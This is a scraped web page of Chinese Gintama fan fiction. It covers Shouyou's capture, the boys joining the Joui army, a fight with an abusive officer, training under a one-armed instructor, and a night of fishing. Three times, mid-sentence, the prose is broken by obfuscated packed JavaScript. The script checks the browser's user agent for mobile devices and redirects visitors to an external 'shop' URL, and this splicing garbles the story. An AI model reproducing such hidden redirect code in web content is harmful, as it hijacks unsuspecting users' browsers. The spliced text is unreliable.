一道黑影如鬼魅般悄然靠近压着银时的几个奈落,他猛然出手,一记迅猛的扫堂腿狠狠击中敌人的脚踝,就在奈落一个踉跄不稳时,那个黑影顺势而上夺过禅杖,利用武器的力量狠狠砸向奈落的胸膛。 敌人痛呼一声,队形顿时一片混乱。银时抓住机会一溜身爬起来,抓住插在地上的刀就猛地冲上去。 “松阳——” 银时嘶吼着,面部从未有过的狰狞。捏着刀把的手臂青筋暴起,刀锋带着锐不可当的气势袭来。 禅杖像利剑一样携着凌厉的风把空气都割裂得发出轻微的撕裂声,“铛——”一声狠狠撞上银时的刀身,像是蚍蜉撼大树般,巨大的压力把银时像炮弹一样击飞出去。 “银时!” 律猛惊,左脚用力蹬地,身体如离弦之箭般飞扑过去,抱着即将撞上被烈火烧断的横梁翻滚到硬邦邦的地面,灰烬,尘土四散飞扬,背部承受了大部分冲击的律痛得重重咳嗽两声,血哗啦一下就喷出来。 反应过来的奈落们举着禅杖纷纷包围起倒地不起的两人。 银时捂着断了一根的肋骨,用力啐了口带血的唾沫,擦了擦嘴角踉踉跄跄站起来。 他的目光如同锋利的刀刃,带着一股凛冽的寒意。红色的眼瞳像是藏着一团怒火,熊熊燃烧。奈落们被银时这种捕食者锁定猎物是凶狠专注的眼神唬住,一时不敢动作。 银时悄无声息地抽着气,每一次呼吸都伴着尖锐的刺痛,燎烟顺着鼻翼的翕动涌入,窒息感随着呼吸的抽痛简直让他快晕过去了。 律捂着肚子,大汗淋漓地爬起来,脸色苍白如纸,呼吸又喘又急。银时知道律快坚持不住了。 但是……绝不能……让他们带走老师! 松阳仿佛成了他还能站起来战斗的唯一动力,每一次尝试呼吸,都会引起更进一步剧烈的疼痛,就像有一只无形的手挤压胸膛,这种压迫感让他窒息。 松阳……松阳…… 眼前的景象开始变得模糊,周围的声音逐渐变得遥远,视野的边缘开始出现灰黑色的阴影,如同墨迹般迅速扩散,一点点吞噬着松阳的身影。 在画面的最后一刻,松阳挂着如往常般温柔的笑意,月光柔和地洒落在他的脸庞上,银白色的光辉像星辰投入他的眸子。 在意识完全消失之前,他看到松阳被架走的背影,小指轻轻伸出作出一个拉勾的动作。 脑中闪过一些片段的记忆,也许是最近的经历,也许是久远的回忆。 “银时,答应我,保护好他们。” 画面如走马灯一样快速掠过,最终归于一片空白,随着最后一丝光线的消失,银时眼前彻底变成一片漆黑,意识也随之沉入了无变的黑暗之中。 * “啪!” 高杉红着眼狠狠给了自己一个巴掌,仿佛对待什么穷 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“看什么看,事实就是如此,你和假发当时不在现场,况且,就算来了,又有什么用呢,对方人那么多,就凭我们几个阻止不了。” 高杉憋着的怒火像蓬勃欲出的火山,把他那绿色的眸子烧得透亮,而银时这个看热闹不嫌事大的还在往火山口浇油。 桂连忙打断二人夹枪带棒火药味越来越浓的对话,无奈说道: “好了,都别说了,这件事不是任何人的错,高杉,你冷静点。况且……”桂瞥了一眼浑身缠满绷带躺在地上看起来昏迷不醒的律,微微叹息,“律还在养伤呢,你们不要在这里吵。” 银时嗤笑一声,用牙齿咬断一卷绷带,把绷带卷砸到律的肚子上,绷带卷就咕噜噜滚到烧成焦黑色的榻榻米上,散开的绷带像绸缎一样绵延。 “律这个家伙皮厚得很,这点小伤痛半天也就好了,现在估计在睡觉呢。” 在地上躺尸的律动了一下,眼珠子慢悠悠地从天花板移到银时的侧脸,才缓缓说道: “我没睡,我在想……松阳他比我们都强,你们也见过他出手吧。” 高杉的目光缓慢沉重地移到律身上。 “我不理解,松阳为什么不反抗,以他的能力,那些人完全带不走他。” 律表达了他的疑问,话音刚落,和室里一瞬间寂静,显然,大家心里都带着这个疑问。 银时突然轻笑一声,笑意却未达眼底。 “谁知道呢,也许这是松阳那家伙给我们出的题?jump男主角踏上打败BOSS救回老师的征途?” 高杉皱着眉头,认真思索道:“老师难道是被什么东西控制住了无法行动?天人的武器之类的……” 桂叹了口气,拍拍身上不存在的灰尘,站起来。 “无论是什么原因,我们的当务之急还是救回老师。” 律翻了个身,琥珀色的眼睛静静地看着桂。 “说得轻巧,怎么救?我们甚至不知道他们是谁?” 银时暴躁地揉着脑袋不耐烦道,又因为动作过大扯到伤口疼得他嘶了一声。 律突然缓缓出声。 “我见过那个男人,灰色头发的那个,就是他带走了松阳。” 三人的目光聚光灯一样探过来。 律勉强从回忆里找出有关那天晚上的事情。 “在高杉和假发加入私塾的前一个晚上,我看到松阳出去了,就跟着他,但是跟丢了。然后我在一个没有光的拐角碰到一个快要死的人,就是他。” 律眉头紧锁,话语里藏不住的疑惑。 “我很清楚,他快死了,绝对活不过那个晚上,可是为什么时隔两年……他还活着,并且带走了老师……对了!” 律突然想起什么般,从榻榻米上猛地弹起来。 “他认识松阳,那天晚上他看到我的脸说‘松阳的弟子’” 银时烦躁道:“他当然认识松阳啊,多半是松阳的仇人什么的,不然为什么把私塾都烧了啊。” 高杉沉沉的目光看了过来。 “这说明那个带走老师的男人一直在暗处观察我们,直到昨天才开始行动。” 这个可怕的猜想令银时不适地皱了下眉头。 桂却沉思了良久,环视众人,目光所及之处是烧成一片漆黑的家具,但大家都不愿意离开这里,尽管私塾已成一片废墟,分分钟就有坍塌的风险。 桂沉声道: “银时,律,高杉,我们去参加攘夷军吧。” 17. 如何快速做一个攘夷芝士 所谓攘夷军,是一群被打压的武士或平民自发组建起来的民间武装集团,他们主张排斥天人文化和势力,反抗天人的影响和统治,以及恢复江户乃至整个日本的独立自主状态。 律听到这个称呼却下意识皱了一下眉,曾经还没被松阳捡回去在乱葬岗流浪的时候,他碰到了一个自称是攘夷志士的年轻人,那人的肚子被炮弹轰破了一个可怖的豁口,黑红色的血哗啦啦流,简直要把身下的土地浸透。 律看他快死掉了也没有理会他。 那个年轻人捂着肚子呻吟,看到顶着一头红毛到处搜刮尸体身上食物的律突然神情激动,不顾身上致命的伤口,抓起身旁豁口的刀子就要冲上去,面色狰狞如恶鬼。 律轻轻松松躲过年轻人软弱的攻击,那人就像脱了线的风筝一样重重砸在地上,挣扎不起,脸上却是爬满了仇恨的情绪,仿佛律是他狠的咬牙切齿的杀父仇人。 律蹲下来歪歪头,奇怪地问他为什么要攻击他,明明都要死了。 那个年轻人的表情僵硬而扭曲,透露着压抑已久的怨恨和不甘。 “你们这群该死的天人……咳咳……给我滚、滚开我的国家……” 律似乎在努力回忆起某个细节,整个眉头越皱越深。 虽然他对侵略地球,靠强权和高科技武器压迫地球人民的天人没有半点好感,但他对试图通过各种手段甚至将与天人有合作的小商贩或者使用天人科技的百姓视作敌人一并打杀的激进组织也不认可。况且,严格意义上来说他也属于外来的“天人”。 高杉率先对桂的提议提出质疑: “他们只是一群借用蛮力排除异己的非政府组织罢了,我不理解加入他们的意义在哪。” 桂却眯着眼睛淡淡笑了,这家伙向来与其他三个不同,他更加重视国家的安危和黎明百姓的生活,把拯救国家的重担视为己任。 “正是因为‘非政府组织’我们才要加入他们。” 桂直直地看着高杉的眼睛,那双暖棕色的眸子难得流露出锐利的光,让平日里掩盖在银时等人的光芒之下的桂显得锋芒毕露。 “现在的幕府太过懦弱,天子式微,将军德川定定又是一个把黎明百姓的性命弃之于不顾的卑鄙小人。我们需要一股更加纯粹,有一个共同反抗的敌人,为了同一个目标而战的力量。” 桂的目光透过高杉看向更远处蔚蓝的天色,眼神中透露着坚定与专注。 “松阳老师为何被抓?我的猜想没错的话多半和幕府有关,我和高杉在讲武堂那种地方待过,现在的幕府只需要听话的、没有多余想法的、能为了主君赴死的提线木偶,这样才能在天人肆无忌惮蹂躏国家的时刻维持着摇摇欲坠的统治。” 桂沉重地叹息一声。 “但松阳老师的理念,甚至说多次忤逆政府的举动可以说是幕府最深恶痛绝,最惶恐不安的存在。” 桂突然微微侧身,顺势缓缓坐下,背部一如既往挺直,双手自然放在膝盖上。 他灼灼的目光缓缓扫过每一张稚嫩的脸庞。 “凭我们现在的实力想救回松阳老师简直可以说是痴人说梦。但我们还有唯一的一个方法,就是利用幕府无法掌控的攘夷军的力量搜寻松阳老师的痕迹。” 银时依然锲而不舍地用受伤的右手抠着鼻屎,可谓是身坚志残了。他睁着一双没什么感情波动的死鱼眼懒洋洋地说: “攘夷啊保卫国家啊什么的都无所谓啦,反正阿银的目的就是找到松阳那个笨蛋老师啦。” 律深以为然,对银时的话表示赞同。 高杉昂着头哼了一下,看着桂认真的目光,内心的愤怒缓缓平息了,亮绿色的眼睛甚至还有闲心调侃般闪烁了一下。 “假发,我不管你是出于个人理想主义信念还是纯粹想要救回老师才选择踏入这场战争,无论哪种,只要有一丝希望,让我攘夷也好,倒幕也好,我都奉陪。” “不是假发,是桂。” 长发的少年突然绽放出灿烂的笑容,嘴角轻轻上扬,露出了整齐洁白的牙齿。 “那就说定了。” * 树木高耸入云,枝叶繁茂,遮挡了大部分的天空,只留下一些细碎的光线。在这片森林中,视线往往被错综复杂的树枝和灌木丛所阻挡,很难窥探其中奥秘,因此常常被攘夷军占为据点以阻挡天人的追踪。 “你们来这的目地是什么!” 一个身材魁梧的大汉操着一口浓浓的口音大声斥问眼前的歪瓜裂枣们。 “为了驱逐天人!” “为了报仇!” “为了……额,没地方去了!” 面前站着包括银时几人在内的一排高矮胖瘦老弱病残的零零散散的杂兵。 除了桂很大声认真地回答“为了日本的黎明”外大家的理由五花八门,反正看着不像来打战的,像来打酱油的。 银时他们个头小,站在前排,那个肩宽体也宽的彪形大汉虎目一瞪,就看到抱着刀歪歪斜斜地站着打哈欠的银时,那一头刺眼的白毛跟主人一样每个正形,邋邋遢遢。 那大汉在心里冷哼一声,像是用炭笔画上去的眉毛皱成一个“川”字。 他早就看这群散散烂烂的杂兵不顺眼了,要不是上次作战的失误,他也不会被下放下来训练一群新兵蛋子,居然还有小孩,他们以为战争是过家家吗。要他说,这群看着就活不长的杂鱼们上战场就是当炮灰的命,估计连第一次作战也活不下来。 正好他心里烦躁得不行,银时属实是撞到枪口上了。 上中绷着一张脸,下巴有一道狰狞的划痕,从嘴角蔓延到下颚中部。他大步流星地朝银时那个方向走去,魁梧有力的身材遮住了光线,银时整个人被他的影子包围,显得格外矮小。 银时面对这个庞然大物却没有任何表情,只是稍微抬了一下眼皮。这番表现在上中眼里无疑是挑衅了,普通士兵见到他都得两股战战紧张得不行,可这小子居然敢不把他放在正眼里?! 上中冷笑一声,粗犷的大手一把抓起银时的衣领,他顿时像小鸡仔一样被踮着脚拎起来。 “长官!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13976672|148044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一旁的桂紧张得不行,神情带着焦虑。 高杉和律已经面带凶光不爽地瞪着上中了,时时刻刻准备着他对银时下手的那一秒就捏着拳头冲上去。 “小子,你很嚣张啊,要知道像你这样的我见多了,从没有活着回来过,居然还长着白色的头发,怎么,你下面也是白色的吗?” 上中咧着嘴嗤笑,眼神里带着肆无忌惮的嘲讽和不屑。 银时皱了一下眉,手搭在上中拧着他衣领的腕子上,沉声道:“喂,我劝你放手。” 桂看不下去了,一脸严肃地站出来,说道: “长官大人,攘夷志士不是一群为了一个共同美好的目标一起奋斗的伙伴吗,您怎么能这样侮辱银时。” 银时目光直直地看着上中,语带讽刺: “没想到你的眼光也会出错啊,假发,像长官大人这样只会拿比他弱小的人出气的孬种我们见得也不算少吧,这就是你心心念念的攘夷志士吗?” “你?!” 上中的脸色变得铁青,双目瞪圆,鼻翼重重扇动,额头青筋暴起,仿佛极力忍耐蓬勃欲出的愤怒。他的双手不由自主攥成拳头,高高举到耳侧就要朝银时的侧脸砸下。 律出奇地愤怒,面目狰狞地着呲牙,像离弦之箭一样飞扑出去,抱着上中像树一样粗滚的腰倒下去。 上中被炮弹一般的重击撞得生疼,强烈的怒火在他心里腾升,他用力掀开趴在身上的律,拳头攥紧,如石块般硕大的拳就要狠狠砸到律的背上。 律一个灵活的翻滚躲开,呲着牙跳起来,琥珀色的目光像小兽一样瞪着上中。 高杉不知道从哪里捡来一根粗粗的树枝作剑,站到律的身边,面带讥讽。 “假发,我赞同银时的话,你的眼光真差啊。” 桂叹了一口气,摇头。 “不是假发,是桂。我相信一心保家卫国的攘夷志士不应该全是这样的人才对,如果攘夷军都腐败成这样了,那我们只能去改变它。” 银时整了整被上中弄皱的领子,摆好姿势,推刀出鞘,扭头对着桂嗤笑一声。 “你就抱着无谓的想法一直走下去吧,我们嘛,只负责在后面为你开路。” 高杉轻轻笑了一下,举着树枝作剑率先冲了上去。 “你小子偶尔还会说些人话啊。” * 这天,攘夷军里发生一件大事。 被下派到新兵营的原第三小队队长上中被四个不满八岁的新兵打得落花流水。听说牙齿都掉了两颗,据现场的新兵战战兢兢地转述,原本一个红毛要把上中的肋骨打断以报上中口出狂言之仇,结果被三个小伙伴死死拉住“喂再打下去我们就真的要被踢出去啦” 其实上中这人口无遮拦惯了,行为举止又很粗鲁猥琐,瞧不上比他弱的,鄙视谋划作战的军师,又爱欺凌新兵,军营里看不惯他的人多了去了,这下好了,猫捉耗子反而被耗子抓瞎了眼,真是大快人心。 后来上级了解到事实经过后给上中降了级,银时等人反到安然无恙。 18.少年迎着夕阳奔跑的青春 新兵营里新来了一个长官,是从前线退下来的老兵,据说多次率领攘夷军的前锋小队击退天人军的来袭,可谓是战功赫赫。奈何在一次夜袭作战中被敌人砍断了右手,却是再也拿不了刀了,就算左手作战也比右手差了点劲。在此人固执己见左手拿着刀上战场却差点被杀掉后上级就勒令他退下一线了。 银时等人本以为这威名赫赫的长官必是魁梧有力威武不凡才对得起他的称号,但令他们诧异的是,今后要带他们至少两年的教官竟是个身材高挑的女子。 她短发齐耳,身姿挺拔,五官立体分明,脸上常年风吹日晒而增添些许皱纹,左侧额头一道发白的疤痕在深色的肌肤上格外显眼。 “我是你们的新长官,我叫冬野静子,接下来的两年由我来训练你们。” 都说人如其名,此人的名字与作风倒是大相径庭。 即使没有刻意摆出严肃的表情,她的脸上自然而然地流露出一种不容侵犯的威严。 “你们还有什么问题?” 冬野的面容平静如水,锐利的眼神缓缓扫过站得歪歪扭扭的一排人。 “怎么是个女人……” 一声模糊不清的抱怨从面前的人群里传来,他没有特意压低声音,很明显是故意挑衅冬野的。 高杉斜着眼看了一眼旁边高高瘦瘦的男人,心里几乎冷笑一声。仅凭一个人的外表来定义他人的蠢货未免也太多了。冬野静子能以比起绝大多数老兵尚小的年纪坐到那个位置,并且退居后可以把教导新人这种表面上是下放实际上何其重要的职位交给冬野,这个女人绝不是想象中那么简单。也只有上中那种蠢货才不懂得珍惜这拉拢人才的好机会。 要知道不管以后多么亮眼出彩的士兵都是从新人开始做起,而新兵营长官的作用就显得尤其重要了,培养得好,长官凭借教养有功也能平步青云,甚至坐上总指挥的位置没问题。 高杉身为武家之子,下意识就用上层那一套养兵之策来套入攘夷军的情况。但他忽略了一个事实,攘夷军并不像幕府正规军那样有专门的部队,一套完善的组织领导和俸禄体系。攘夷军很大一部分是由不识字的农民,地位低下的下级武士和少数没落的但心怀大志的藩臣组成。在管理上没有一套规整的体系,更多的是靠将领的个人魅力和士兵们的自觉。 所以培养新人以拉拢人才什么的在攘夷军这群五大三粗的志士们眼里是完全不存在的,下放就是下放,明贬暗升这种高级的管理策略是玩不动的。 因此冬野的目地很简单,就是在短短两年内把这群杂兵培养到上战场可以活下来就够了,剩下的他们会自己摸索着摸索着就慢慢成熟了。 冬野平静的目光投向高杉旁边的男人,很显然,她对这个反应心知肚明,不如说,只有一个人敢说出不满才是令她惊讶的。 是不在意还是不敢她都无所谓了。 冬野僵硬地扯了一下嘴角,笑容像一层皮覆盖在骷髅上,肌肉诡异地抽搐,那笑容让人毛骨悚然。 那男人噤了声,心里有些发毛。 “你叫小山……幸男是吧,怎么,你觉得女人当兵打仗有什么问题吗?” 小山被那黑漆漆的目光盯得有些胆怯,吞咽了一下口水,梗着脖子反驳道: “女人能打什么仗?你拿得动刀吗?” 一抹讥笑闪过冬野的眼睛,她努着嘴比了比断掉的右手。从手肘以下的部分被齐根斩落,只剩下一截空荡荡的袖子,无声地诉说着战争的惨烈。 “现在是拿不动了,不过对付你的话,左手足够了。” 冬野咧着嘴笑,牙齿阴森森的。 小山畏缩地抖了一下,“我……我是新兵,连、连刀也没拿过,就算你不用右手,我……我也打不过啊……” “嘁。” 听到小山这番懦弱的发言,冬野无趣地撇撇嘴,打量了一下人群的数量后,提高音量。 “好,现在所有人按高矮顺序排好,向后转,绕着这片林子一直跑,跑到日落为止!” “什么?” “啊?……” “真的假的……” 本来死气沉沉的队伍因为冬野的一番话顿时小声地沸腾起来。 不知道哪个人带头抱怨了一句,在场的人就像被一股力量拧开了汽水瓶一样把心里的不满和疑虑顺着借口喷出来。 “你以为是小学生运动会啊……” “跑步有什么用啊,上战场直接跑吗?” 冬野冷笑一声,不说话,只是用锐利的目光炯炯有神地盯着最嘈杂的那一批人,等喧腾声渐渐静了,才沉着声音说道: “你们觉得跑步没用?” 她的眉头紧锁成一团,像两把锋利的剑悬挂在额头,双眼如鹰隼般仿佛能穿透每个人的内心。 “错!大错特错!一个合格的士兵最重要的是什么?是高超的剑术?一人能抵百万兵的勇气?不,最重要的是体能!体能是一切的基础,就凭你们现在这种连鸡也提不动的软趴趴的手臂,跑几步都要喘三口气,别说杀敌了,连在天人手底下逃都逃不了。” “我要你们绕着林子跑到天黑,是为了增强你们对这种隐蔽崎岖环境的适应性,当你们从第一次作战中侥幸活下来,将来会面对更多的,不得不在这种地方与天人交战的状况。” 冬野一口气说了很多,她的声音不高,却每一个字都重重敲到人们的心头,从她简简单单透露的攘夷军的情况,银时他们却感觉到了战争的艰难和凝重,远不是儿戏的心思可以糊弄的。 现场顿时一片死寂,仿佛空气在这一刻凝固了,连最细微的呼吸声都能听得一清二楚。 “我说了很多,想必你们也清楚,战争不是儿戏,如果没有杀人和被杀的觉悟,那就请回吧。” 没有一个人有动作,气氛像墙角的蜘蛛网一样凝滞。 律唰地一下举起手,他上松阳的课都没有那么积极过,那一头耀眼的红毛在一堆营养不良的黑黄夹杂的头发里格外显眼,让众人的目光像聚光灯一样投到他身上。 律挠了一下头,表情丝毫没有被凝重的气氛影响,满脸困惑地问出了他最关心的问题。 “长官,跑到日落后我们怎么吃饭啊,这里连锅都没有。” 冬野看了他一眼,说道: “你倒是说到了最关键的问题。” 她把目光投向神情犹带着些许挣扎的新兵们,他们都是第一天来到这里,有人是为了复仇,有人是为了混口饭吃,但无论如何,大家都不想把命丢在两年后的第一场战争里,因此,如何做出选择成了他们现在最纠结的问题。 “你们通过体能训练的前一段时间内都不会有锅,现有的炊事班也紧急供应给前线作战的同伴们,也就是说,你们将近三个月的时间里都要自己解决伙食。吃野果也好,抓猎动物也好,随便你们怎么发挥,但是,最关键一点,同伴间不允许自相残杀,一经发现,直接砍掉左手臂逐出攘夷军。” 话音刚落,有三分之一的人群当场提出回去,他们本来还在犹豫要不要为了混一口饭吃把命压在这里,一听连饭也没有得吃,那还留个屁啊。 冬野看了看离开的人群,没说什么,剩下的大部分都是家园被天人毁灭或者家人被杀害的苦命之人,最小的孩子甚至只有五岁,目光阴沉沉的仿佛没有一丝活人的光彩。 剩下的新兵们按高矮顺序排好队后就稀稀拉拉地跑起来,银时他们因为身形小跑在最前面,五颜六色的头发一下子就吸引了冬野的目光,她不由得多看了他们几眼,眯着眼仔细回忆呈上来的报告。 那几个头发花哨的小鬼就是打败上中的新人吧,看来这个队伍也不是没有好苗子嘛,那个才五岁的小孩儿,叫黑良来着吧,眼神坚定,不错,不错。 像是看到一片叶子奄巴巴的菜地里茁壮成长的几颗大白菜,冬野翘着二郎腿欣慰一笑。 这片林子说大不大,说小也不小,按正常人的速度二十分钟就能绕完一圈,但地球茂密得比大叔的体毛还多的森林能成为攘夷战争的重要据点不是没有原因的。 首先它 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993305|148044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树林密集,视线容易被遮挡,其次它路径复杂,对于不熟悉地形的天人来说,这里不亚于迷宫,最关键的是它不平坦的地面,有许多树根岩石和洼坑,凹凸不平的上下坡已经是习以为常的存在了,积水覆盖在地表,土地变得湿滑黏腻水分又不易蒸发,极大程度上拖延了天人追击的速度。 当然,天人们在这种地形有没有叫苦不迭不清楚,反正银时他们是受不了。 脚下的每一步都像是在与大地搏斗。鞋子深深地陷入软泥之中,每一次提起脚都需要额外用力,仿佛有无形的手在拼命拖拽着双腿。原本轻松的步伐变得沉重而缓慢,每一次落地都溅起一小团泥水,飞溅到裤腿和小腿上,留下斑斑点点的污迹。 起先银时,高杉和桂尚能与律保持在同一水平线上,但很快,在绕着森林转了几圈后,他们的脚步渐渐慢下来了,呼吸变得急促,体力在逐渐地消耗。 律天生的特性倒是在这里体现出了。他仿佛与幽静茂密的森林融为一体,每一步都准确无误地落在最稳固的地方,即使在崎岖不平的地上也能如履平地,奔跑的动作流畅自然,丝毫不为树根或者突兀的岩石停留,简直就像生来就属于森林一般。 银时气喘吁吁:“这小子……太、太快了吧。” 桂扶着腰一手靠在树干上稍微歇息,目光投向律渐行渐远的背景,说: “律的体力好像一直很好……” 高杉还在跟银时较劲,看到桂落后了,便扭头提醒一下伙伴:“别被丢下啦,律那家伙肯定会大肆嘲笑我们。” 汗水顺着脸颊滑落,滴在满是泥泞的路上。前方的道路熟悉到令人恶心的地步,每一次呼吸都像是在与疲惫斗争。 树木间的风声听起来似乎更加遥远,取而代之的是脚下踩踏泥土时发出的“啪嗒”声,以及鞋子从泥中拔出时的“咯吱”声。 “没吃饭啊!都给我跑快点!” 冬野坐在树墩子上看这群新兵一圈一圈地绕,那个红毛以不变的速率永远跑在最前头,呼吸均匀,脚步稳健,似乎丝毫不觉得累。 队伍中部和尾部的人数逐渐凌乱,而且肉眼可见的人数逐渐减少,至于是当了逃兵还是躲在树林里偷懒那就不得而知了。 当夕阳缓缓西沉,森林迎来了它独有的黄昏时刻。光线变得柔和而温暖,金黄色的余晖穿透茂密的枝叶,投射出一道道细长的光束,在林间地面上绘制出一幅幅变幻莫测的图案。这些光束像是自然界的画笔,将树木的轮廓勾勒得更加鲜明,当然,在疲惫万分的众人眼里,这光束简直就是上天投射下来的垂怜。 在漫长而艰难的跋涉后,终于,所有力气仿佛都被榨干,身躯再也无法支撑沉重的疲惫,众人像关上发条的人偶在听到“休息”的那一刻扑通扑通栽倒在地,累得连挪动一根手指的力气都没有了。 高杉大汗淋漓,此时也顾不得地上肮脏,狼狈地仰躺在地上大口大口喘气,用脚轻轻踹了一下身边的银时。 “喂……谁、谁赢了……” 银时眼睛睁得大大的,累得那叫一个头晕眼花,舌头都有些打结。 “谁、谁踏马有力气记这个……” 桂已经扑倒在地眼睛冒蚊香盘了,鼻尖埋在小土尖里,汗水像瀑布一样不要命地流,右手手指被电抽搐了般写着遗书。 四肢摊开地看着天空,橘红色的天幕像一块巨大的画布,渐渐染上更深的红,让银时想到律那颗欠揍的脑袋,拼了命的跑啊跑啊,结果那个小子不知道吃了什么药一样越跑越兴奋,他只能像白发苍苍的夸父一样屁颠颠追在律这颗太阳后面。 那个红红的太阳好像律的笨蛋脑袋哦。 银时眯着眼模模糊糊地想。 “银时,你怎么还躺着呢,太逊了吧。” …… 银时惊悚地发现那个太阳裂开了一道白白的缝,一张一合地说话了。 …… 我靠,我踏马真跑傻了。 银时一拍大脑猛然清醒。 就是律那个蠢货的脑袋。 19.不是所有的鱼都能游到胃里 当最后一抹夕阳消失在地平线之后,森林便缓缓拉开了夜的序幕。 队伍稀稀拉拉地围成一个圈,一团篝火熊熊燃烧,木柴在火堆噼啪作响,火光照亮了神色各异的脸。 当然也有极个别不合群的存在,警惕地抱着武器靠在藏在阴影里的树干之下,身影与背景深深融为一体。 银时已经麻利地翻上树干,找到一个看起来睡得舒服的枝丫,双手抱着脑袋躺好了。月光如流水般倾泻,穿过茂密的枝叶,在地上洒下斑驳陆离的光影,仿佛夜空撒下的细碎银粉。银时眯着眼睛看那圆圆的月亮挂在天幕上,轻薄的云纱遮住月亮若隐若现的光芒,朦胧的轮廓犹如一块撒上糖霜的饼干,散发着诱人的甜蜜。 银时只装了几个生涩的果子和冷冰冰的凉水的胃很快就被自己的幻想搞得咕咕咕直叫。 好饿…… 仿佛有一双拳头在捶打自己的胃,明明以前也经常挨饿,现在怎么这么无法忍受饥饿了呢。 他闭上眼睛索性不看那诱人的月亮饼干,嘴里嘀嘀咕咕地抱怨:真是被松阳养刁了…… 四周一片寂静,只有偶尔传来的夜行动物的窃窃私语打破了这份静谧。树叶像被风吹过一样沙沙作响,银时睁着一只眼瞥了一下身旁的动静。 “银时——我好饿——” 律挂在另一侧树梢上努力往银时的方向扑腾,眼巴巴地看着银时的脑袋压低声音抱怨。 银时捂着耳朵翻了个身。 “银时——” 从喉管里发出的气流悄悄地钻进银时被发丝掩盖的耳廓里,带来痒痒的触感。 银时闭着眼睛闭着嘴巴假装睡着了。 “咕噜噜——” 肠胃蛄蛹蛄蛹的蠕动声打破了寂静,银时尴尬地捂着肚子。 身后传来哧哧哧的闷笑,身下的树枝也跟着微微晃动。 “银时,我们俩偷偷去搞点吃的,不叫他们两个。” 律压低声音鬼鬼祟祟地说。 银时翻了一下身坐起,边缘略有些泛黄的树叶便夹杂着枝杈窸窸窣窣飘落到他的脑袋上。 他拍了拍脑袋上的杂物,想了想决定支持律的主意,他太饿了,自从被松阳收养以来从没这么被饥饿折磨得如此厉害,翻来覆去睡不着觉。 两人像猴子一样哧溜哧溜滑下大树,一触碰到坚实的地板便脚底抹油开溜,生怕被睡在树下的假发和高杉发现。 星星点点的光芒在树梢闪烁,脚下的路朦朦胧胧的看不大清,银时只好盲目地跟着在阴森的森林如鱼得水的律走。 树木愈发茂盛,星星点点的碎斑少了,四周除了偶尔的动物穿过灌木丛时发出的簌簌声便是夜风拂过枝头的轻柔响声。 银时嗅了嗅空气中淡淡的潮湿清新的水汽,一种熟悉又陌生的声音逐渐清晰起来,那是水流动时发出的轻柔的旋律。前方律的脚步渐渐加快了,踩着松软的土地,拨开一层层云雾般的灌木,视野霎时开阔起来。 月光下,一条蜿蜒的河流波光粼粼,像无数颗钻石嵌在河面上,又仿佛轻柔的丝绸飘荡,闪耀着迷人的光芒。 律很响声地咽了咽口水,仿佛被迷住了一样直直地往前走。 “银时,这里肯定有很多鱼!” 律的眼睛亮得发烫,目光紧紧锁定在河面上跳跃的小光点,眼中闪烁着无法掩藏的欣喜与激动。 银时跟着咽了咽口水,想到烤鱼酥脆的外皮和肥嫩到出汁的鱼肉,目光顿时发直。 介于身边工具不多且视线受阻,再加上二人怀着偷吃独食的负罪感不敢发出太大动静,索性决定双手上阵捞鱼。 秋季的凉风拂过水面,带来丝丝凉意的同时也唤醒了沉睡在水底的鱼群,它们经过春夏两季的滋养已经变得膘肥体壮,肉质紧致有弹性,鱼鳞在月光下反射出耀眼的光芒。 律就像个在河边捞鱼十年的好手,以掌作网,一捞一个准,目光一凝,脚步一顿,双手以迅雷不及掩耳之势下河一叉,鱼就扑通扑通在手里挣扎。 鱼腹饱满,肉质触摸得到的紧实厚重,它们在空中挣扎着,身体闪着银色的光泽,像是大自然精心雕琢的艺术品。 律捞上来的那条很肥美,尾鳍有力地扇动,整个身体疯狂抽搐蠕动表达着求生的渴望。律只好把它紧紧抱在怀里防止一个脱手到手的大鱼溜了。银时光着脚孤孤独独地站在河中央,明明凉水浸泡的是脚,他却在心里感到彻头彻尾的寒意。 此时他的心已经和杀了十年鱼的屠夫一样冰冷了,是的,糟蹋了一条裤子一件衣裳他一条鱼也没捞上。 并非银时技术不行,实乃这山里的鱼太过狡猾警觉,毕竟根据物竞天择适者生存的原理,傻乎乎一捞就上岸的鱼已经被山里的猎户和驻扎的攘夷军消灭殆尽了。剩下的鱼已经是经过千锤百炼在重重厮杀中脱颖而出的健将,否则也不会在秋季这种鱼类盛宴的时刻还能养得膘肥体壮。 奈何律此人可谓是鱼类的天克,轻轻松松就把在猎户手里逃窜多年的大肥鱼给捞上来。 律心满意足地抱着战利品离去,留下银时一人站 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019682|148044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在河中央风中凌乱。 